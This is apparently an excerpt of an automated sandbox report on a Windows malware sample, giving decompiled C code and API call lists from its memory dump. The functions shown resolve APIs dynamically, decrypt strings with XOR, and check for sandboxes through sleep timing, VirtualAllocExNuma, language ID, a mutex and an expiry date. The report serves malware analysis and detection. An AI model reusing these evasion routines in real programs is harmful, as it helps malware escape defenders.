RegGetValueA, xrefs: 0040CDCC
8Ya, xrefs: 0040C865
CreateThread, xrefs: 0040C989
8Za, xrefs: 0040CBFE
XXa, xrefs: 0040CE21
XZa, xrefs: 0040CFFF
8Va, xrefs: 0040C710
GetEnvironmentVariableA, xrefs: 0040C99F
XVa, xrefs: 0040C771
X[a, xrefs: 0040C8C6
memcpy, xrefs: 0040CB18
XTa, xrefs: 0040C5EC
lstrcpyA, xrefs: 0040C9CD
0ua, xrefs: 0040D1B0
SetEnvironmentVariableA, xrefs: 0040C9B6
8da, xrefs: 0040CF4E
8Xa, xrefs: 0040CCCC
xYa, xrefs: 0040CCE4
xZa, xrefs: 0040CD6B
x[a, xrefs: 0040CB84
lstrcpynA, xrefs: 0040C9E3
InternetCrackUrlA, xrefs: 0040CC16
`a, xrefs: 0040CEE3
8[a, xrefs: 0040C970

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: `a$0ua$8Va$8Xa$8Ya$8Za$8[a$8da$CreateThread$GetEnvironmentVariableA$InternetCrackUrlA$RegGetValueA$SetEnvironmentVariableA$XTa$XVa$XXa$XYa$XZa$X[a$lstrcpyA$lstrcpynA$memcpy$memset$xXa$xYa$xZa$x[a$xxa
API String ID: 2238633743-220302003
Opcode ID: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction ID: 9bcd284fde1af5afdb9725a1d8ee7eb933c8521e96d2c529a01ce852b5064599
Opcode Fuzzy Hash: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction Fuzzy Hash: 9C820FF9523200EFC345DFA8EE889D637B9BB4C251715CA39E509C3661D73894A1CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2E0, Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 109
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C2E0() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;
				CHAR* _t5;
				struct HINSTANCE__* _t8;
				CHAR* _t11;
				struct HINSTANCE__* _t13;
				CHAR* _t16;
				struct HINSTANCE__* _t18;
				CHAR* _t21;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t26;
				CHAR* _t28;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t30;
				CHAR* _t31;
				struct HINSTANCE__* _t32;
				CHAR* _t33;
				struct HINSTANCE__* _t34;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				CHAR* _t38;
				CHAR* _t39;
				intOrPtr _t40;
				struct HINSTANCE__* _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;
				CHAR* _t46;
				struct HINSTANCE__* _t47;

				if( *0x41aa64 != 0) {
					_t30 =  *0x41aa64; // 0x74df0000
					 *0x41aa14 = E0040C1B0(_t30,  *0x41a1f0);
					_t40 =  *0x41a474; // 0x600cb0
					_t8 =  *0x41aa64; // 0x74df0000
					 *0x41a970 = E0040C1B0(_t8, _t40);
					_t31 =  *0x41a718; // 0x600d88
					_t41 =  *0x41aa64; // 0x74df0000
					 *0x41aa8c = GetProcAddress(_t41, _t31);
					_t11 =  *0x41a33c; // 0x5fec70
					_t32 =  *0x41aa64; // 0x74df0000
					 *0x41a88c = GetProcAddress(_t32, _t11);
					_t42 =  *0x41a5bc; // 0x5fa808
					_t13 =  *0x41aa64; // 0x74df0000
					 *0x41aa68 = GetProcAddress(_t13, _t42);
					_t33 =  *0x41a4b0; // 0x600bf0
					_t43 =  *0x41aa64; // 0x74df0000
					 *0x41a9cc = GetProcAddress(_t43, _t33);
					_t16 =  *0x41a4c8; // 0x600d28
					_t34 =  *0x41aa64; // 0x74df0000
					 *0x41a9e4 = GetProcAddress(_t34, _t16);
					_t44 =  *0x41a7d4; // 0x600dd0
					_t18 =  *0x41aa64; // 0x74df0000
					 *0x41a984 = GetProcAddress(_t18, _t44);
					_t45 =  *0x41aa64; // 0x74df0000
					 *0x41aa04 = GetProcAddress(_t45,  *0x41a324);
					_t21 =  *0x41a6f0; // 0x600d40
					_t36 =  *0x41aa64; // 0x74df0000
					 *0x41aa78 = GetProcAddress(_t36, _t21);
					_t46 =  *0x41a7b0; // 0x5fa768
					_t23 =  *0x41aa64; // 0x74df0000
					 *0x41a9f4 = GetProcAddress(_t23, _t46);
					_t37 =  *0x41a218; // 0x5fa9e8
					_t47 =  *0x41aa64; // 0x74df0000
					 *0x41aaa0 = GetProcAddress(_t47, _t37);
					_t26 =  *0x41aa64; // 0x74df0000
					 *0x41aa50 = GetProcAddress(_t26, "VirtualAllocExNuma");
				}
				_t28 =  *0x41a0f8; // 0x600b78
				_t1 = LoadLibraryA(_t28); // executed
				 *0x41a854 = _t1;
				_t38 =  *0x41a658; // 0x600bd8
				_t2 = LoadLibraryA(_t38); // executed
				 *0x41a934 = _t2;
				if( *0x41a854 != 0) {
					_t5 =  *0x41a594; // 0x600ce0
					_t29 =  *0x41a854; // 0x74b40000
					_t2 = GetProcAddress(_t29, _t5);
					 *0x41a944 = _t2;
				}
				if( *0x41a934 != 0) {
					_t39 =  *0x41a0b8; // 0x5fa788
					_t3 =  *0x41a934; // 0x749a0000
					_t4 = GetProcAddress(_t3, _t39);
					 *0x41a9e0 = _t4;
					return _t4;
				}
				return _t2;
			}

0x0040c2ea
0x0040c2f6
0x0040c305
0x0040c30a
0x0040c311
0x0040c31f
0x0040c324
0x0040c32b
0x0040c338
0x0040c33d
0x0040c343
0x0040c350
0x0040c355
0x0040c35c
0x0040c368
0x0040c36d
0x0040c374
0x0040c381
0x0040c386
0x0040c38c
0x0040c399
0x0040c39e
0x0040c3a5
0x0040c3b1
0x0040c3bd
0x0040c3ca
0x0040c3cf
0x0040c3d5
0x0040c3e2
0x0040c3e7
0x0040c3ee
0x0040c3fa
0x0040c3ff
0x0040c406
0x0040c413
0x0040c41d
0x0040c429
0x0040c429
0x0040c42e
0x0040c435
0x0040c43b
0x0040c440
0x0040c447
0x0040c44d
0x0040c459
0x0040c45b
0x0040c461
0x0040c468
0x0040c46e
0x0040c46e
0x0040c47a
0x0040c47c
0x0040c483
0x0040c489
0x0040c48f
0x00000000
0x0040c48f
0x0040c495

APIs

GetProcAddress.KERNEL32(74DF0000,00600D88), ref: 0040C332
GetProcAddress.KERNEL32(74DF0000,005FEC70), ref: 0040C34A
GetProcAddress.KERNEL32(74DF0000,005FA808), ref: 0040C362
GetProcAddress.KERNEL32(74DF0000,00600BF0), ref: 0040C37B
GetProcAddress.KERNEL32(74DF0000,00600D28), ref: 0040C393
GetProcAddress.KERNEL32(74DF0000,00600DD0), ref: 0040C3AB
GetProcAddress.KERNEL32(74DF0000,00600DA0), ref: 0040C3C4
GetProcAddress.KERNEL32(74DF0000,00600D40), ref: 0040C3DC
GetProcAddress.KERNEL32(74DF0000,005FA768), ref: 0040C3F4
GetProcAddress.KERNEL32(74DF0000,005FA9E8), ref: 0040C40D
GetProcAddress.KERNEL32(74DF0000,VirtualAllocExNuma), ref: 0040C423
LoadLibraryA.KERNELBASE(00600B78,?,00406B72), ref: 0040C435
LoadLibraryA.KERNELBASE(00600BD8,?,00406B72), ref: 0040C447
GetProcAddress.KERNEL32(74B40000,00600CE0), ref: 0040C468
GetProcAddress.KERNEL32(749A0000,005FA788), ref: 0040C489

Strings

(`, xrefs: 0040C386
VirtualAllocExNuma, xrefs: 0040C418
@`, xrefs: 0040C3CF
p_, xrefs: 0040C33D

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: (`$@`$VirtualAllocExNuma$p_
API String ID: 2238633743-1725302482
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: a0d7b009b4cf0954f7e46bb6ba0f8cea1e563656be094aab1f3a6ea2fda818d0
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: A44165F5523200DFC344DFA8EE8899637B9BB8C251705CA39E50983672D7389561CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0, Relevance: 4.5, APIs: 3, Instructions: 19
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406AA0() {
				long _v8;
				intOrPtr _v12;

				_v8 = GetTickCount();
				Sleep(0x2710); // executed
				_v12 = GetTickCount() - _v8;
				if(_v12 <= 0x1770) {
					return 0;
				}
				return 1;
			}

0x00406aac
0x00406ab4
0x00406ac3
0x00406acd
0x00000000
0x00406ad8
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00406AA6
Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
GetTickCount.KERNEL32 ref: 00406ABA

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 5e65db4bb8db0037cc9712db6db32af1b7f49a6c19175b0f31c2b6dd27f19f6d
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: F8E04F30949118DBCB00BFB4D9080AD7BB0EB01342F10C0B29807A2280DA784D609F5B

Uniqueness

Uniqueness Score: -1.00%

Function 004048D0, Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004048D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				void* _t28;
				signed int _t33;
				void* _t53;

				_t28 = LocalAlloc(0x40, _a12 + 1); // executed
				_v12 = _t28;
				 *((char*)(_v12 + _a12)) = 0;
				_v16 = 0;
				while(_v16 < _a12) {
					_t33 = E0040B740(_a4 + _v16, _a8);
					_t53 = _t53 + 4;
					 *((char*)(_v12 + _v16)) =  *(_a4 + _v16) ^  *(_a8 + _v16 % _t33);
					_v16 = _v16 + 1;
				}
				_v8 = 0;
				VirtualProtect(_v12, 4, 0x100,  &_v8); // executed
				return _v12;
			}

0x004048e0
0x004048e6
0x004048ef
0x004048f2
0x00404904
0x00404919
0x0040491e
0x00404939
0x00404901
0x00404901
0x0040493d
0x00404953
0x00404960

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 004048E0
VirtualProtect.KERNELBASE(?,00000004,00000100,00000000), ref: 00404953

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: AllocLocalProtectVirtual
String ID:
API String ID: 4134893223-0
Opcode ID: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction ID: 4623e7d36af2260dceec399572c1bb905ae2e9b6f15e47edd37a55d804c2928b
Opcode Fuzzy Hash: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction Fuzzy Hash: 561173B4E00248EFCB04DFA8C890BAEBBB5FF49305F108099EA15A7341C735AA11CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004068F0, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75
timestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E004068F0(void* __ecx, void* __eflags) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				char _v284;
				struct _SYSTEMTIME _v300;
				struct _SYSTEMTIME _v316;
				int _t45;
				char* _t52;
				intOrPtr _t57;
				void* _t66;

				E0040B720( &_v284, 0x104);
				_v300.wYear = 0;
				_v300.wMonth = 0;
				_v300.wDay = 0;
				_v300.wMinute = 0;
				_v300.wMilliseconds = 0;
				_v316.wYear = 0;
				_v316.wMonth = 0;
				_v316.wDay = 0;
				_v316.wMinute = 0;
				_v316.wMilliseconds = 0;
				_v20.dwLowDateTime = 0;
				_v20.dwHighDateTime = 0;
				_v12.dwLowDateTime = 0;
				_v12.dwHighDateTime = 0;
				GetSystemTime( &_v300);
				_t57 =  *0x41a60c; // 0x615778
				 *0x41aa24( &_v284, _t57);
				_t52 =  *0x41a104; // 0x615438
				sscanf( &_v284, _t52,  &(_v316.wDay),  &(_v316.wMonth),  &_v316,  &(_v316.wHour),  &(_v316.wMinute),  &(_v316.wSecond));
				SystemTimeToFileTime( &_v300,  &_v20);
				_t45 = SystemTimeToFileTime( &_v316,  &_v12);
				_t66 = _v20.dwHighDateTime - _v12.dwHighDateTime;
				if(_t66 >= 0 && (_t66 > 0 || _v20.dwLowDateTime > _v12.dwLowDateTime)) {
					ExitProcess(0); // executed
				}
				return _t45;
			}

0x00406905
0x0040690c
0x00406915
0x0040691b
0x00406921
0x00406927
0x00406930
0x00406939
0x0040693f
0x00406945
0x0040694b
0x00406952
0x0040695b
0x0040695e
0x00406967
0x00406971
0x00406977
0x00406985
0x004069b5
0x004069c3
0x004069d7
0x004069e8
0x004069f1
0x004069f4
0x00406a02
0x00406a02
0x00406a0b

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
lstrcat.KERNEL32(?,00615778), ref: 00406985
sscanf.NTDLL ref: 004069C3
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
ExitProcess.KERNEL32 ref: 00406A02

Strings

8Ta, xrefs: 004069B5
xWa, xrefs: 00406977

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID: 8Ta$xWa
API String ID: 2797641603-2404432779
Opcode ID: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction ID: e1bd8726115975e68c113ba4c939dbea9fdba7e28f8895f6eace496917ca047b
Opcode Fuzzy Hash: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction Fuzzy Hash: A531AEB5D1121CABCB58DF94DD85ADEB7B9AF48300F0085EAE10AA3150EB345B94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0058003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0058024D

Strings

cess, xrefs: 0058018D
kernel32.dll, xrefs: 0058008F, 00580095

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: a09487cd1e149a97cacfaebf5adc74f0e72bf6d0b1eae382a6e1df17f1b635c6
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 4A526B74A01229DFDBA4DF58C985BA8BBB1BF09304F1480D9E94DA7351DB30AE89DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00406B60, Relevance: 6.0, APIs: 4, Instructions: 49
threadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				void* _t5;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t16;

				E0040C290(_t16); // executed
				E00401770(); // executed
				E0040C2E0(); // executed
				E00401050(_t16, 0x3e8); // executed
				_t5 = E00406AA0(); // executed
				_t19 = _t5;
				if(_t5 != 0) {
					_t8 = E00406AF0(_t19); // executed
					if(_t8 == 0) {
						_t9 = E00406A10(); // executed
						if(_t9 != 0) {
							_t10 = E00406B30(); // executed
							_t22 = _t10;
							if(_t10 != 0) {
								E00401940(); // executed
								E0040C4A0(); // executed
								CreateThread(0, 0, E00401020, 0, 0, 0); // executed
								E004068F0(_t16, _t22); // executed
								CreateThread(0, 0, E00406650, 0, 0, 0);
							}
						}
					}
				}
				while(1 != 0) {
					if( *0x41abb4 == 0) {
						Sleep(0x3e7);
						continue;
					}
					break;
				}
				E0040BFA0(_t16);
				ExitProcess(0);
			}

0x00406b63
0x00406b68
0x00406b6d
0x00406b77
0x00406b7f
0x00406b84
0x00406b86
0x00406b88
0x00406b8f
0x00406b91
0x00406b98
0x00406b9a
0x00406b9f
0x00406ba1
0x00406ba3
0x00406ba8
0x00406bbc
0x00406bc2
0x00406bd6
0x00406bd6
0x00406ba1
0x00406b98
0x00406b8f
0x00406bdc
0x00406bec
0x00406bf5
0x00000000
0x00406bf5
0x00000000
0x00406bee
0x00406bfd
0x00406c04

APIs

Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00600D88), ref: 0040C332
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,005FEC70), ref: 0040C34A
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,005FA808), ref: 0040C362
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00600BF0), ref: 0040C37B
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00600D28), ref: 0040C393
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00600DD0), ref: 0040C3AB
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00600DA0), ref: 0040C3C4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00600D40), ref: 0040C3DC
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,005FA768), ref: 0040C3F4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,005FA9E8), ref: 0040C40D
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,VirtualAllocExNuma), ref: 0040C423
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(00600B78,?,00406B72), ref: 0040C435
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(00600BD8,?,00406B72), ref: 0040C447
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74B40000,00600CE0), ref: 0040C468

Part of subcall function 00401050: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
Part of subcall function 00401050: VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
Part of subcall function 00401050: ExitProcess.KERNEL32 ref: 00401082

Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406AA6
Part of subcall function 00406AA0: Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406ABA

Sleep.KERNEL32(000003E7), ref: 00406BF5

Part of subcall function 00406A10: GetUserDefaultLangID.KERNEL32 ref: 00406A1D

Part of subcall function 00406B30: CreateMutexA.KERNELBASE(00000000,00000000,006154D8,?,00406B9F), ref: 00406B3D
Part of subcall function 00406B30: GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00617F48), ref: 0040C4BD
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,006180C8), ref: 0040C4D5
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00615418), ref: 0040C4EE
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00618140), ref: 0040C506
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00617FC0), ref: 0040C51E
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00617F90), ref: 0040C537
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00618008), ref: 0040C54F
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00618170), ref: 0040C567
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00618080), ref: 0040C580
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00617EB8), ref: 0040C598
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00618188), ref: 0040C5B0
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,006181A0), ref: 0040C5C9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00617ED0), ref: 0040C5E1
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00615458), ref: 0040C5F9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,006181B8), ref: 0040C612
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00615518), ref: 0040C62A

CreateThread.KERNELBASE(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00406BBC

Part of subcall function 004068F0: GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
Part of subcall function 004068F0: lstrcat.KERNEL32(?,00615778), ref: 00406985
Part of subcall function 004068F0: sscanf.NTDLL ref: 004069C3
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
Part of subcall function 004068F0: ExitProcess.KERNEL32 ref: 00406A02

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00406BD6
ExitProcess.KERNEL32 ref: 00406C04

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 30edc539181f4161086e76151398ed8f709a9372c098ffe2502fb7c446d8bec9
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 2101FFB0385365AAE12037A25D17B5935685F00B49F12403BB603F81E2EEBDF460992F

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC50, Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040AC50() {
				void* _v8;
				long _v12;
				int _t9;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v12 = 0x104;
				_t9 = GetComputerNameA(_v8,  &_v12); // executed
				if(_t9 != 0) {
					return _v8;
				}
				return 0x4191a0;
			}

0x0040ac6a
0x0040ac6d
0x0040ac7c
0x0040ac84
0x00000000
0x0040ac8f
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction ID: 037935987c21b56ac9d2f6c82646566d18e4d0dbb1ca3967d9f30a297ca29eed
Opcode Fuzzy Hash: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction Fuzzy Hash: CDE012B4A05208BBE700DFE49A49ADD7BBCAB04301F104565E945E2280E6759E94D756

Uniqueness

Uniqueness Score: -1.00%

Function 00401050, Relevance: 4.5, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E00401050(void* __ecx, intOrPtr _a4) {
				int _v8;
				int _t7;

				_v8 = 0;
				_t7 =  *0x41aa50(GetCurrentProcess(), 0, _a4, 0x3000, 0x40, 0, __ecx); // executed
				_v8 = _t7;
				if(_v8 == 0) {
					ExitProcess(0);
				}
				return _t7;
			}

0x00401054
0x00401071
0x00401077
0x0040107e
0x00401082
0x00401082
0x0040108b

APIs

GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
ExitProcess.KERNEL32 ref: 00401082

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction ID: cf04ec476d4c872812d4618a66134526bca4da81b147f74e7f68079ffca38a05
Opcode Fuzzy Hash: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction Fuzzy Hash: C4E08670586308FFEB109F90DD09B997BA8EB04712F108054FA09A72C0C6B45A50CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00580DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00580223,?,?), ref: 00580E02
SetErrorMode.KERNELBASE(00000000,?,?,00580223,?,?), ref: 00580E07

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a992885c89bf85eb39910f3b5de41249294542621b3f1e7a83cd92281d1157c4
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: A8D0123224522CB7DB403A94DC09BCEBF1CAF05BA7F008021FB0DE9581CBB09A4047EA

Uniqueness

Uniqueness Score: -1.00%

Function 00406B30, Relevance: 3.0, APIs: 2, Instructions: 15
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406B30() {
				CHAR* _t1;

				_t1 =  *0x41a124; // 0x6154d8
				CreateMutexA(0, 0, _t1); // executed
				if(GetLastError() != 0xb7) {
					return 1;
				}
				return 0;
			}

0x00406b33
0x00406b3d
0x00406b4e
0x00000000
0x00406b54
0x00000000

APIs

CreateMutexA.KERNELBASE(00000000,00000000,006154D8,?,00406B9F), ref: 00406B3D
GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction ID: 327de0e026df715b7b38ea4147415e649a308c5b1f966a57182a2e21aaf30096
Opcode Fuzzy Hash: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction Fuzzy Hash: 93D012B0266205EBE7102794FC49BF637A99744701F214832F10EE61D2C669FCA0462F

Uniqueness

Uniqueness Score: -1.00%

